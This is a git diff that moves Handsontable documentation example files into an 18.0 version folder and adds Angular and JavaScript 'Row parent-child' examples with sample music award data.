similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-header__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-header__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-height__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-height__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-hiding__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-hiding__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-moving__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-moving__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-moving__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-moving__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-moving__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-moving__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-moving__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-moving__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-moving__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-moving__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-moving__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__angular__example1.ts.json new file mode 100644 index 00000000..6c155c0a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Rows ▸ Row parent-child · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n ];\n\n readonly hotSettings: GridSettings = {\n preventOverflow: 'horizontal',\n rowHeaders: true,\n colHeaders: ['Category', 'Artist', 'Title', 'Album', 'Label'],\n nestedRows: true,\n contextMenu: true,\n bindRowsWithHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/rows/row-parent-child/angular/example1.ts","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__javascript__example1.js.json new file mode 100644 index 00000000..798bfab9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Rows ▸ Row parent-child · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
